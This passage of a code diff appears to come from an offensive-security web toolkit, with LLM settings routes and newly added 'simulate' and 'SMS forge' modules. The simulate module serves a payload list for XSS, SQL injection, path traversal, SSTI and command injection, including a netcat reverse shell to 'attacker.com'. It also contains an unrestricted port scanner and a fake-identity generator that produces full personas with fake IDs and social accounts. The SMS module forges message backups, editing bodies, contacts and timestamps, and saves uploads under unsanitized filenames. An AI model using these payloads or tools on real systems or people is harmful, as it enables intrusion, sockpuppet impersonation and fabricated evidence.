config.set('llama', 'n_batch', request.form.get('n_batch', '512'))
config.set('llama', 'temperature', request.form.get('temperature', '0.7'))
config.set('llama', 'top_p', request.form.get('top_p', '0.9'))
config.set('llama', 'top_k', request.form.get('top_k', '40'))
config.set('llama', 'repeat_penalty', request.form.get('repeat_penalty', '1.1'))
config.set('llama', 'max_tokens', request.form.get('max_tokens', '2048'))
config.set('llama', 'seed', request.form.get('seed', '-1'))
config.set('llama', 'rope_scaling_type', request.form.get('rope_scaling_type', '0'))
config.set('llama', 'mirostat_mode', request.form.get('mirostat_mode', '0'))
config.set('llama', 'mirostat_tau', request.form.get('mirostat_tau', '5.0'))
config.set('llama', 'mirostat_eta', request.form.get('mirostat_eta', '0.1'))
config.set('llama', 'flash_attn', 'true' if request.form.get('flash_attn') else 'false')
config.set('llama', 'gpu_backend', request.form.get('gpu_backend', 'cpu'))
elif backend == 'transformers':
config.set('transformers', 'model_path', request.form.get('model_path', ''))
config.set('transformers', 'device', request.form.get('device', 'auto'))
config.set('transformers', 'torch_dtype', request.form.get('torch_dtype', 'auto'))
config.set('transformers', 'load_in_8bit', 'true' if request.form.get('load_in_8bit') else 'false')
config.set('transformers', 'load_in_4bit', 'true' if request.form.get('load_in_4bit') else 'false')
config.set('transformers', 'llm_int8_enable_fp32_cpu_offload', 'true' if request.form.get('llm_int8_enable_fp32_cpu_offload') else 'false')
config.set('transformers', 'device_map', request.form.get('device_map', 'auto'))
config.set('transformers', 'trust_remote_code', 'true' if request.form.get('trust_remote_code') else 'false')
config.set('transformers', 'use_fast_tokenizer', 'true' if request.form.get('use_fast_tokenizer') else 'false')
config.set('transformers', 'padding_side', request.form.get('padding_side', 'left'))
config.set('transformers', 'do_sample', 'true' if request.form.get('do_sample') else 'false')
config.set('transformers', 'num_beams', request.form.get('num_beams', '1'))
config.set('transformers', 'temperature', request.form.get('temperature', '0.7'))
config.set('transformers', 'top_p', request.form.get('top_p', '0.9'))
config.set('transformers', 'top_k', request.form.get('top_k', '40'))
config.set('transformers', 'repetition_penalty', request.form.get('repetition_penalty', '1.1'))
config.set('transformers', 'max_tokens', request.form.get('max_tokens', '2048'))
elif backend == 'claude':
config.set('claude', 'model', request.form.get('model', 'claude-sonnet-4-20250514'))
api_key = request.form.get('api_key', '')
if api_key:
config.set('claude', 'api_key', api_key)
config.set('claude', 'max_tokens', request.form.get('max_tokens', '4096'))
config.set('claude', 'temperature', request.form.get('temperature', '0.7'))
elif backend == 'huggingface':
config.set('huggingface', 'model', request.form.get('model', 'mistralai/Mistral-7B-Instruct-v0.3'))
api_key = request.form.get('api_key', '')
if api_key:
config.set('huggingface', 'api_key', api_key)
config.set('huggingface', 'endpoint', request.form.get('endpoint', ''))
config.set('huggingface', 'provider', request.form.get('provider', 'auto'))
config.set('huggingface', 'max_tokens', request.form.get('max_tokens', '1024'))
config.set('huggingface', 'temperature', request.form.get('temperature', '0.7'))
config.set('huggingface', 'top_p', request.form.get('top_p', '0.9'))
config.set('huggingface', 'top_k', request.form.get('top_k', '40'))
config.set('huggingface', 'repetition_penalty', request.form.get('repetition_penalty', '1.1'))
config.set('huggingface', 'do_sample', 'true' if request.form.get('do_sample') else 'false')
config.set('huggingface', 'seed', request.form.get('seed', '-1'))
config.set('huggingface', 'stop_sequences', request.form.get('stop_sequences', ''))
elif backend == 'openai':
config.set('openai', 'model', request.form.get('model', 'gpt-4o'))
api_key = request.form.get('api_key', '')
if api_key:
config.set('openai', 'api_key', api_key)
config.set('openai', 'base_url', request.form.get('base_url', 'https://api.openai.com/v1'))
config.set('openai', 'max_tokens', request.form.get('max_tokens', '4096'))
config.set('openai', 'temperature', request.form.get('temperature', '0.7'))
config.set('openai', 'top_p', request.form.get('top_p', '1.0'))
config.set('openai', 'frequency_penalty', request.form.get('frequency_penalty', '0.0'))
config.set('openai', 'presence_penalty', request.form.get('presence_penalty', '0.0'))
# Switch active backend
config.set('autarch', 'llm_backend', backend)
config.save()
_log = logging.getLogger('autarch.settings')
_log.info(f"[Settings] LLM backend switched to: {backend}")
# Reset LLM instance so next request triggers fresh load
try:
from core.llm import reset_llm
reset_llm()
_log.info("[Settings] LLM instance reset — will reload on next chat request")
except Exception as exc:
_log.error(f"[Settings] reset_llm() error: {exc}", exc_info=True)
flash(f'LLM backend switched to {backend} and settings saved.', 'success')
return redirect(url_for('settings.llm_settings'))
# ── LLM Settings Sub-Page ─────────────────────────────────────────────────────
@settings_bp.route('/llm')
@login_required
def llm_settings():
config = current_app.autarch_config
from core.paths import get_app_dir
default_models_dir = str(get_app_dir() / 'models')
return render_template('llm_settings.html',
llm_backend=config.get('autarch', 'llm_backend', 'local'),
llama=config.get_llama_settings(),
transformers=config.get_transformers_settings(),
claude=config.get_claude_settings(),
openai=config.get_openai_settings(),
huggingface=config.get_huggingface_settings(),
default_models_dir=default_models_dir,
)
@settings_bp.route('/llm/load', methods=['POST'])
@login_required
def llm_load():
"""Force-load the currently configured LLM backend and return status."""
_log = logging.getLogger('autarch.settings')
try:
from core.llm import reset_llm, get_llm
from core.config import get_config
config = get_config()
backend = config.get('autarch', 'llm_backend', 'local')
_log.info(f"[LLM Load] Requested by user — backend: {backend}")
reset_llm()
llm = get_llm()
model_name = llm.model_name if hasattr(llm, 'model_name') else 'unknown'
_log.info(f"[LLM Load] Success — backend: {backend} | model: {model_name}")
return jsonify({'ok': True, 'backend': backend, 'model_name': model_name})
except Exception as exc:
_log.error(f"[LLM Load] Failed: {exc}", exc_info=True)
return jsonify({'ok': False, 'error': str(exc)})
@settings_bp.route('/llm/scan-models', methods=['POST'])
@login_required
def llm_scan_models():
"""Scan a folder for supported local model files and return a list."""
data = request.get_json(silent=True) or {}
folder = data.get('folder', '').strip()
if not folder:
return jsonify({'ok': False, 'error': 'No folder provided'})
folder_path = Path(folder)
if not folder_path.is_dir():
return jsonify({'ok': False, 'error': f'Directory not found: {folder}'})
models = []
try:
# GGUF / GGML / legacy bin files (single-file models)
for ext in ('*.gguf', '*.ggml', '*.bin'):
for p in sorted(folder_path.glob(ext)):
size_mb = p.stat().st_size / (1024 * 1024)
models.append({
'name': p.name,
'path': str(p),
'type': 'gguf' if p.suffix in ('.gguf', '.ggml') else 'bin',
'size_mb': round(size_mb, 1),
})
# SafeTensors model directories (contain config.json + *.safetensors)
for child in sorted(folder_path.iterdir()):
if not child.is_dir():
continue
has_config = (child / 'config.json').exists()
has_st = any(child.glob('*.safetensors'))
has_st_index = (child / 'model.safetensors.index.json').exists()
if has_config and (has_st or has_st_index):
total_mb = sum(
p.stat().st_size for p in child.glob('*.safetensors')
) / (1024 * 1024)
models.append({
'name': child.name + '/',
'path': str(child),
'type': 'safetensors',
'size_mb': round(total_mb, 1),
})
# Also scan one level of subdirectories for GGUF files
for child in sorted(folder_path.iterdir()):
if not child.is_dir():
continue
for ext in ('*.gguf', '*.ggml'):
for p in sorted(child.glob(ext)):
size_mb = p.stat().st_size / (1024 * 1024)
models.append({
'name': child.name + '/' + p.name,
'path': str(p),
'type': 'gguf',
'size_mb': round(size_mb, 1),
})
return jsonify({'ok': True, 'models': models, 'folder': str(folder_path)})
except PermissionError as e:
return jsonify({'ok': False, 'error': f'Permission denied: {e}'})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@settings_bp.route('/llm/hf-verify', methods=['POST'])
@login_required
def llm_hf_verify():
"""Verify a HuggingFace token and return account info."""
data = request.get_json(silent=True) or {}
token = data.get('token', '').strip()
if not token:
return jsonify({'ok': False, 'error': 'No token provided'})
try:
from huggingface_hub import HfApi
api = HfApi(token=token)
info = api.whoami()
return jsonify({'ok': True, 'username': info.get('name', ''), 'email': info.get('email', '')})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
# ── MCP Server API ───────────────────────────────────────────
@settings_bp.route('/mcp/status', methods=['POST'])
@login_required
def mcp_status():
try:
from core.mcp_server import get_server_status, get_autarch_tools
status = get_server_status()
tools = [{'name': t['name'], 'description': t['description']} for t in get_autarch_tools()]
return jsonify({'ok': True, 'status': status, 'tools': tools})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@settings_bp.route('/mcp/start', methods=['POST'])
@login_required
def mcp_start():
try:
from core.mcp_server import start_sse_server
config = current_app.autarch_config
port = int(config.get('web', 'mcp_port', fallback='8081'))
result = start_sse_server(port=port)
return jsonify(result)
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@settings_bp.route('/mcp/stop', methods=['POST'])
@login_required
def mcp_stop():
try:
from core.mcp_server import stop_sse_server
result = stop_sse_server()
return jsonify(result)
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@settings_bp.route('/mcp/config', methods=['POST'])
@login_required
def mcp_config():
try:
from core.mcp_server import get_mcp_config_snippet
return jsonify({'ok': True, 'config': get_mcp_config_snippet()})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
# ── Discovery API ────────────────────────────────────────────
@settings_bp.route('/discovery/status', methods=['POST'])
@login_required
def discovery_status():
try:
from core.discovery import get_discovery_manager
mgr = get_discovery_manager()
return jsonify({'ok': True, 'status': mgr.get_status()})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@settings_bp.route('/discovery/start', methods=['POST'])
@login_required
def discovery_start():
try:
from core.discovery import get_discovery_manager
mgr = get_discovery_manager()
results = mgr.start_all()
return jsonify({'ok': True, 'results': results})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@settings_bp.route('/discovery/stop', methods=['POST'])
@login_required
def discovery_stop():
try:
from core.discovery import get_discovery_manager
mgr = get_discovery_manager()
results = mgr.stop_all()
return jsonify({'ok': True, 'results': results})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
# ── Debug Console API ─────────────────────────────────────────────────────────
@settings_bp.route('/debug/toggle', methods=['POST'])
@login_required
def debug_toggle():
"""Enable or disable the debug log capture."""
global _debug_enabled
data = request.get_json(silent=True) or {}
_debug_enabled = bool(data.get('enabled', False))
if _debug_enabled:
_ensure_debug_handler()
logging.getLogger('autarch.debug').info('Debug console enabled')
return jsonify({'ok': True, 'enabled': _debug_enabled})
@settings_bp.route('/debug/stream')
@login_required
def debug_stream():
"""SSE stream — pushes new log records to the browser as they arrive."""
def generate():
sent = 0
while True:
buf = list(_debug_buffer)
while sent < len(buf):
yield f"data: {json.dumps(buf[sent])}\n\n"
sent += 1
time.sleep(0.25)
return Response(generate(), mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
@settings_bp.route('/debug/clear', methods=['POST'])
@login_required
def debug_clear():
"""Clear the in-memory debug buffer."""
_debug_buffer.clear()
return jsonify({'ok': True})
@settings_bp.route('/debug/test', methods=['POST'])
@login_required
def debug_test():
"""Emit one log record at each level so the user can verify the debug window."""
log = logging.getLogger('autarch.test')
log.debug('DEBUG — detailed diagnostic info, variable states')
log.info('INFO — normal operation: module loaded, connection established')
log.warning('WARNING — something unexpected but recoverable')
log.error('ERROR — an operation failed, check the details below')
try:
raise ValueError('Example exception to show stack trace capture')
except ValueError:
log.exception('EXCEPTION — error with full traceback')
return jsonify({'ok': True, 'sent': 5})
# ==================== DEPENDENCIES ====================
@settings_bp.route('/deps')
@login_required
def deps_index():
"""Dependencies management page."""
return render_template('system_deps.html')
@settings_bp.route('/deps/check', methods=['POST'])
@login_required
def deps_check():
"""Check all system dependencies."""
import sys as _sys
groups = {
'core': {
'flask': 'import flask; print(flask.__version__)',
'jinja2': 'import jinja2; print(jinja2.__version__)',
'requests': 'import requests; print(requests.__version__)',
'cryptography': 'import cryptography; print(cryptography.__version__)',
},
'llm': {
'llama-cpp-python': 'import llama_cpp; print(llama_cpp.__version__)',
'transformers': 'import transformers; print(transformers.__version__)',
'anthropic': 'import anthropic; print(anthropic.__version__)',
},
'training': {
'torch': 'import torch; print(torch.__version__)',
'peft': 'import peft; print(peft.__version__)',
'datasets': 'import datasets; print(datasets.__version__)',
'trl': 'import trl; print(trl.__version__)',
'accelerate': 'import accelerate; print(accelerate.__version__)',
'bitsandbytes': 'import bitsandbytes; print(bitsandbytes.__version__)',
'unsloth': 'import unsloth; print(unsloth.__version__)',
},
'network': {
'scapy': 'import scapy; print(scapy.VERSION)',
'pyshark': 'import pyshark; print(pyshark.__version__)',
'miniupnpc': 'import miniupnpc; print("installed")',
'msgpack': 'import msgpack; print(msgpack.version)',
'paramiko': 'import paramiko; print(paramiko.__version__)',
},
'hardware': {
'pyserial': 'import serial; print(serial.__version__)',
'esptool': 'import esptool; print(esptool.__version__)',
'adb-shell': 'import adb_shell; print("installed")',
},
}
results = {}
for group, packages in groups.items():
results[group] = {}
for name, cmd in packages.items():
try:
result = subprocess.run(
[_sys.executable, '-c', cmd],
capture_output=True, text=True, timeout=15
)
if result.returncode == 0:
results[group][name] = {'installed': True, 'version': result.stdout.strip()}
else:
results[group][name] = {'installed': False, 'version': None}
except Exception:
results[group][name] = {'installed': False, 'version': None}
# GPU info
gpu = {}
try:
result = subprocess.run(
[_sys.executable, '-c',
'import torch; print(torch.cuda.is_available()); '
'print(torch.cuda.get_device_name(0) if torch.cuda.is_available() else "none"); '
'print(torch.version.cuda or "none")'],
capture_output=True, text=True, timeout=15
)
if result.returncode == 0:
lines = result.stdout.strip().split('\n')
gpu['cuda_available'] = lines[0].strip() == 'True'
gpu['device'] = lines[1].strip() if len(lines) > 1 else 'none'
gpu['cuda_version'] = lines[2].strip() if len(lines) > 2 else 'none'
except Exception:
gpu['cuda_available'] = False
results['gpu'] = gpu
# Python info
import sys as _s
results['python'] = {
'version': _s.version.split()[0],
'executable': _s.executable,
'platform': platform.platform(),
}
return jsonify(results)
@settings_bp.route('/deps/install', methods=['POST'])
@login_required
def deps_install():
"""Install packages."""
import sys as _sys
data = request.get_json(silent=True) or {}
packages = data.get('packages', [])
if not packages:
return jsonify({'error': 'No packages specified'}), 400
results = []
for pkg in packages:
# Sanitize package name
if not re.match(r'^[a-zA-Z0-9_\-\[\]]+$', pkg):
results.append({'package': pkg, 'success': False, 'output': 'Invalid package name'})
continue
try:
result = subprocess.run(
[_sys.executable, '-m', 'pip', 'install', pkg, '--quiet'],
capture_output=True, text=True, timeout=300
)
results.append({
'package': pkg,
'success': result.returncode == 0,
'output': result.stdout.strip() or result.stderr.strip()[:200],
})
except Exception as e:
results.append({'package': pkg, 'success': False, 'output': str(e)[:200]})
return jsonify({'results': results})

411
web/routes/simulate.py Normal file
View File

@@ -0,0 +1,411 @@
"""Simulate category route - password audit, port scan, banner grab, payload generation, legendary creator."""
import json
import socket
import hashlib
from flask import Blueprint, render_template, request, jsonify, Response
from web.auth import login_required
simulate_bp = Blueprint('simulate', __name__, url_prefix='/simulate')
@simulate_bp.route('/')
@login_required
def index():
from core.menu import MainMenu
menu = MainMenu()
menu.load_modules()
modules = {k: v for k, v in menu.modules.items() if v.category == 'simulate'}
return render_template('simulate.html', modules=modules)
@simulate_bp.route('/password', methods=['POST'])
@login_required
def password_audit():
"""Audit password strength."""
data = request.get_json(silent=True) or {}
password = data.get('password', '')
if not password:
return jsonify({'error': 'No password provided'})
score = 0
feedback = []
# Length
if len(password) >= 16:
score += 3
feedback.append('+ Excellent length (16+)')
elif len(password) >= 12:
score += 2
feedback.append('+ Good length (12+)')
elif len(password) >= 8:
score += 1
feedback.append('~ Minimum length (8+)')
else:
feedback.append('- Too short (<8)')
# Character diversity
has_upper = any(c.isupper() for c in password)
has_lower = any(c.islower() for c in password)
has_digit = any(c.isdigit() for c in password)
has_special = any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password)
if has_upper:
score += 1; feedback.append('+ Contains uppercase')
else:
feedback.append('- No uppercase letters')
if has_lower:
score += 1; feedback.append('+ Contains lowercase')
else:
feedback.append('- No lowercase letters')
if has_digit:
score += 1; feedback.append('+ Contains numbers')
else:
feedback.append('- No numbers')
if has_special:
score += 2; feedback.append('+ Contains special characters')
else:
feedback.append('~ No special characters')
# Common patterns
common = ['password', '123456', 'qwerty', 'letmein', 'admin', 'welcome', 'monkey', 'dragon']
if password.lower() in common:
score = 0
feedback.append('- Extremely common password!')
# Sequential
if any(password[i:i+3].lower() in 'abcdefghijklmnopqrstuvwxyz' for i in range(len(password)-2)):
score -= 1; feedback.append('~ Contains sequential letters')
if any(password[i:i+3] in '0123456789' for i in range(len(password)-2)):
score -= 1; feedback.append('~ Contains sequential numbers')
# Keyboard patterns
for pattern in ['qwerty', 'asdf', 'zxcv', '1qaz', '2wsx']:
if pattern in password.lower():
score -= 1; feedback.append('~ Contains keyboard pattern')
break
score = max(0, min(10, score))
strength = 'STRONG' if score >= 8 else 'MODERATE' if score >= 5 else 'WEAK'
hashes = {
'md5': hashlib.md5(password.encode()).hexdigest(),
'sha1': hashlib.sha1(password.encode()).hexdigest(),
'sha256': hashlib.sha256(password.encode()).hexdigest(),
}
return jsonify({
'score': score,
'strength': strength,
'feedback': feedback,
'hashes': hashes,
})
@simulate_bp.route('/portscan', methods=['POST'])
@login_required
def port_scan():
"""TCP port scan."""
data = request.get_json(silent=True) or {}
target = data.get('target', '').strip()
port_range = data.get('ports', '1-1024').strip()
if not target:
return jsonify({'error': 'No target provided'})
try:
start_port, end_port = map(int, port_range.split('-'))
except Exception:
return jsonify({'error': 'Invalid port range (format: start-end)'})
# Limit scan range for web UI
if end_port - start_port > 5000:
return jsonify({'error': 'Port range too large (max 5000 ports)'})
try:
ip = socket.gethostbyname(target)
except Exception:
return jsonify({'error': f'Could not resolve {target}'})
services = {
21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'dns',
80: 'http', 110: 'pop3', 143: 'imap', 443: 'https', 445: 'smb',
3306: 'mysql', 3389: 'rdp', 5432: 'postgresql', 8080: 'http-proxy',
}
open_ports = []
total = end_port - start_port + 1
for port in range(start_port, end_port + 1):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
result = sock.connect_ex((ip, port))
if result == 0:
open_ports.append({
'port': port,
'service': services.get(port, 'unknown'),
'status': 'open',
})
sock.close()
return jsonify({
'target': target,
'ip': ip,
'open_ports': open_ports,
'scanned': total,
})
@simulate_bp.route('/banner', methods=['POST'])
@login_required
def banner_grab():
"""Grab service banner."""
data = request.get_json(silent=True) or {}
target = data.get('target', '').strip()
port = data.get('port', 80)
if not target:
return jsonify({'error': 'No target provided'})
try:
port = int(port)
except Exception:
return jsonify({'error': 'Invalid port'})
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((target, port))
if port in [80, 443, 8080, 8443]:
sock.send(b"HEAD / HTTP/1.1\r\nHost: " + target.encode() + b"\r\n\r\n")
else:
sock.send(b"\r\n")
banner = sock.recv(1024).decode('utf-8', errors='ignore')
sock.close()
return jsonify({'banner': banner or 'No banner received'})
except socket.timeout:
return jsonify({'error': 'Connection timed out'})
except ConnectionRefusedError:
return jsonify({'error': 'Connection refused'})
except Exception as e:
return jsonify({'error': str(e)})
@simulate_bp.route('/payloads', methods=['POST'])
@login_required
def generate_payloads():
"""Generate test payloads."""
data = request.get_json(silent=True) or {}
payload_type = data.get('type', 'xss').lower()
payloads_db = {
'xss': [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'"><script>alert(1)</script>',
"'-alert(1)-'",
'<body onload=alert(1)>',
'{{constructor.constructor("alert(1)")()}}',
],
'sqli': [
"' OR '1'='1",
"' OR '1'='1' --",
"'; DROP TABLE users; --",
"1' ORDER BY 1--",
"1 UNION SELECT null,null,null--",
"' AND 1=1 --",
"admin'--",
],
'cmdi': [
"; ls -la",
"| cat /etc/passwd",
"& whoami",
"`id`",
"$(whoami)",
"; ping -c 3 127.0.0.1",
"| nc -e /bin/sh attacker.com 4444",
],
'traversal': [
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\config\\sam",
"....//....//....//etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"..%252f..%252f..%252fetc/passwd",
"/etc/passwd%00",
],
'ssti': [
"{{7*7}}",
"${7*7}",
"{{config}}",
"{{self.__class__.__mro__}}",
"<%= 7*7 %>",
"{{request.application.__globals__}}",
],
}
payloads = payloads_db.get(payload_type)
if payloads is None:
return jsonify({'error': f'Unknown payload type: {payload_type}'})
return jsonify({'type': payload_type, 'payloads': payloads})
# ── Legendary Creator ─────────────────────────────────────────────────────────
_LEGEND_PROMPT = """\
You are generating a completely fictional, synthetic person profile for software testing \
and simulation purposes. Every detail must be internally consistent. Use real city names \
and real school/university names that genuinely exist in those cities. All SSNs, passport \
numbers, and IDs are obviously fake and for testing only.
SEED PARAMETERS (apply these if provided, otherwise invent):
{seeds}
Generate ALL of the following sections in order. Be specific, thorough, and consistent. \
Verify that graduation years match the DOB. Friend ages should be within 5 years of the \
subject. Double-check that named schools exist in the stated cities.
## IDENTITY
Full Legal Name:
Preferred Name / Nickname:
Date of Birth:
Age:
Gender:
Nationality:
Ethnicity:
Fake SSN: [XXX-XX-XXXX]
Fake Passport Number:
Fake Driver's License: [State + alphanumeric]
## PHYSICAL DESCRIPTION
Height:
Weight:
Build: [slim/athletic/average/stocky/heavyset]
Eye Color:
Hair Color & Style:
Distinguishing Features: [birthmarks, scars, tattoos, or "None"]
## CONTACT INFORMATION
Cell Phone: [(XXX) XXX-XXXX]
Work Phone:
Primary Email: [firstname.lastname@domain.com style]
Secondary Email: [personal/fun email]
Home Address: [Number Street, City, State ZIP — use a real city]
City of Residence:
## ONLINE PRESENCE
Primary Username: [one consistent handle used across platforms]
Instagram Handle: @[handle] — [posting style and frequency, e.g. "posts 3x/week, mostly food and travel"]
Twitter/X: @[handle] — [posting style, topics, follower count estimate]
LinkedIn: linkedin.com/in/[handle] — [headline and connection count estimate]
Facebook: [privacy setting + usage description]
Reddit: u/[handle] — [list 3-4 subreddits they frequent with reasons]
Gaming / Other: [platform + gamertag, or "N/A"]
## EDUCATION HISTORY
[Chronological, earliest first. Confirm school names exist in stated cities.]
Elementary School: [Real school name], [City, State] — [Years, e.g. 20012007]
Middle School: [Real school name], [City, State] — [Years]
High School: [Real school name], [City, State] — Graduated: [YYYY] — GPA: [X.X] — [1 extracurricular]
Undergraduate: [Real university/college], [City, State] — [Major] — Graduated: [YYYY] — GPA: [X.X] — [2 activities/clubs]
Graduate / Certifications: [if applicable, or "None"]
## EMPLOYMENT HISTORY
[Most recent first. 24 positions. Include real or plausible company names.]
Current: [Job Title] at [Company], [City, State] — [Year]Present
Role summary: [2 sentences on responsibilities]
Previous 1: [Job Title] at [Company], [City, State] — [Year][Year]
Role summary: [1 sentence]
Previous 2: [if applicable]
## FAMILY
Mother: [Full name], [Age], [Occupation], lives in [City, State]
Father: [Full name], [Age], [Occupation or "Deceased (YYYY)"], lives in [City, State]
Siblings: [Name (age) — brief description each, or "Only child"]
Relationship Status: [Single / In a relationship with [Name] / Married to [Name] since [Year]]
Children: [None, or Name (age) each]
## FRIENDS (5 close friends)
[For each: Full name, age, occupation, city. How they met (be specific: class, job, app, event). \
Relationship dynamic. One memorable shared experience.]
1. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
2. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
3. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
4. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
5. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
## HOBBIES & INTERESTS
[79 hobbies with specific detail — not just "cooking" but "has been making sourdough for 2 years, \
maintains a starter named 'Gerald', frequents r/sourdough". Include brand preferences, skill level, \
communities involved in.]
1.
2.
3.
4.
5.
6.
7.
## PERSONALITY & PSYCHOLOGY
MBTI Type: [e.g. INFJ] — [brief explanation of how it shows in daily life]
Enneagram: [e.g. Type 2w3]
Key Traits: [57 adjectives, both positive and realistic flaws]
Communication Style: [brief description]
Deepest Fear: [specific, personal]
Biggest Ambition: [specific]
Political Leaning: [brief, not extreme]
Spiritual / Religious: [brief]
Quirks: [3 specific behavioral quirks — the more oddly specific the better]
## BACKSTORY NARRATIVE
[250350 word first-person "About Me" narrative. Write as if this person is introducing themselves \
on a personal website or in a journal. Reference specific people, places, and memories from the \
profile above for consistency. It should feel real, slightly imperfect, and human.]
"""
@simulate_bp.route('/legendary-creator')
@login_required
def legendary_creator():
return render_template('legendary_creator.html')
@simulate_bp.route('/legendary/generate', methods=['POST'])
@login_required
def legendary_generate():
"""Stream a Legend profile from the LLM via SSE."""
data = request.get_json(silent=True) or {}
# Build seed string from user inputs
seed_parts = []
for key, label in [
('gender', 'Gender'), ('nationality', 'Nationality'), ('ethnicity', 'Ethnicity'),
('age', 'Age'), ('profession', 'Profession/Industry'), ('city', 'City/Region'),
('education', 'Education Level'), ('interests', 'Interests/Hobbies'),
('notes', 'Additional Notes'),
]:
val = data.get(key, '').strip()
if val:
seed_parts.append(f"- {label}: {val}")
seeds = '\n'.join(seed_parts) if seed_parts else '(none — generate freely)'
prompt = _LEGEND_PROMPT.format(seeds=seeds)
def generate():
try:
from core.llm import get_llm
llm = get_llm()
for token in llm.chat(prompt, stream=True):
yield f"data: {json.dumps({'token': token})}\n\n"
yield f"data: {json.dumps({'done': True})}\n\n"
except Exception as exc:
yield f"data: {json.dumps({'error': str(exc)})}\n\n"
return Response(generate(), mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})

304
web/routes/sms_forge.py Normal file
View File

@@ -0,0 +1,304 @@
"""SMS Backup Forge routes."""
import os
import tempfile
from flask import Blueprint, request, jsonify, render_template, send_file, current_app
from web.auth import login_required
sms_forge_bp = Blueprint('sms_forge', __name__, url_prefix='/sms-forge')
_forge = None
def _get_forge():
global _forge
if _forge is None:
from modules.sms_forge import get_sms_forge
_forge = get_sms_forge()
return _forge
@sms_forge_bp.route('/')
@login_required
def index():
return render_template('sms_forge.html')
@sms_forge_bp.route('/status')
@login_required
def status():
return jsonify(_get_forge().get_status())
@sms_forge_bp.route('/messages')
@login_required
def messages():
forge = _get_forge()
address = request.args.get('address') or None
date_from = request.args.get('date_from')
date_to = request.args.get('date_to')
keyword = request.args.get('keyword') or None
date_from_int = int(date_from) if date_from else None
date_to_int = int(date_to) if date_to else None
if address or date_from_int or date_to_int or keyword:
msgs = forge.find_messages(address, date_from_int, date_to_int, keyword)
else:
msgs = forge.get_messages()
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
@sms_forge_bp.route('/sms', methods=['POST'])
@login_required
def add_sms():
data = request.get_json(silent=True) or {}
forge = _get_forge()
result = forge.add_sms(
address=data.get('address', ''),
body=data.get('body', ''),
msg_type=int(data.get('type', 1)),
timestamp=int(data['timestamp']) if data.get('timestamp') else None,
contact_name=data.get('contact_name', '(Unknown)'),
read=int(data.get('read', 1)),
locked=int(data.get('locked', 0)),
)
return jsonify(result)
@sms_forge_bp.route('/mms', methods=['POST'])
@login_required
def add_mms():
data = request.get_json(silent=True) or {}
forge = _get_forge()
attachments = data.get('attachments', [])
result = forge.add_mms(
address=data.get('address', ''),
body=data.get('body', ''),
attachments=attachments,
msg_box=int(data.get('msg_box', 1)),
timestamp=int(data['timestamp']) if data.get('timestamp') else None,
contact_name=data.get('contact_name', '(Unknown)'),
)
return jsonify(result)
@sms_forge_bp.route('/conversation', methods=['POST'])
@login_required
def add_conversation():
data = request.get_json(silent=True) or {}
forge = _get_forge()
result = forge.add_conversation(
address=data.get('address', ''),
contact_name=data.get('contact_name', '(Unknown)'),
messages=data.get('messages', []),
start_timestamp=int(data['start_timestamp']) if data.get('start_timestamp') else None,
)
return jsonify(result)
@sms_forge_bp.route('/generate', methods=['POST'])
@login_required
def generate():
data = request.get_json(silent=True) or {}
forge = _get_forge()
result = forge.generate_conversation(
address=data.get('address', ''),
contact_name=data.get('contact_name', '(Unknown)'),
template=data.get('template', ''),
variables=data.get('variables', {}),
start_timestamp=int(data['start_timestamp']) if data.get('start_timestamp') else None,
)
return jsonify(result)
@sms_forge_bp.route('/message/<int:idx>', methods=['PUT'])
@login_required
def modify_message(idx):
data = request.get_json(silent=True) or {}
forge = _get_forge()
result = forge.modify_message(
index=idx,
new_body=data.get('body'),
new_timestamp=int(data['timestamp']) if data.get('timestamp') else None,
new_contact=data.get('contact_name'),
)
return jsonify(result)
@sms_forge_bp.route('/message/<int:idx>', methods=['DELETE'])
@login_required
def delete_message(idx):
forge = _get_forge()
result = forge.delete_messages([idx])
return jsonify(result)
@sms_forge_bp.route('/replace-contact', methods=['POST'])
@login_required
def replace_contact():
data = request.get_json(silent=True) or {}
forge = _get_forge()
result = forge.replace_contact(
old_address=data.get('old_address', ''),
new_address=data.get('new_address', ''),
new_name=data.get('new_name'),
)
return jsonify(result)
@sms_forge_bp.route('/shift-timestamps', methods=['POST'])
@login_required
def shift_timestamps():
data = request.get_json(silent=True) or {}
forge = _get_forge()
address = data.get('address') or None
result = forge.shift_timestamps(
address=address,
offset_minutes=int(data.get('offset_minutes', 0)),
)
return jsonify(result)
@sms_forge_bp.route('/import', methods=['POST'])
@login_required
def import_file():
forge = _get_forge()
if 'file' not in request.files:
return jsonify({'ok': False, 'error': 'No file uploaded'})
f = request.files['file']
if not f.filename:
return jsonify({'ok': False, 'error': 'Empty filename'})
upload_dir = current_app.config.get('UPLOAD_FOLDER', tempfile.gettempdir())
save_path = os.path.join(upload_dir, f.filename)
f.save(save_path)
ext = os.path.splitext(f.filename)[1].lower()
if ext == '.csv':
result = forge.import_csv(save_path)
else:
result = forge.import_xml(save_path)
try:
os.unlink(save_path)
except OSError:
pass
return jsonify(result)
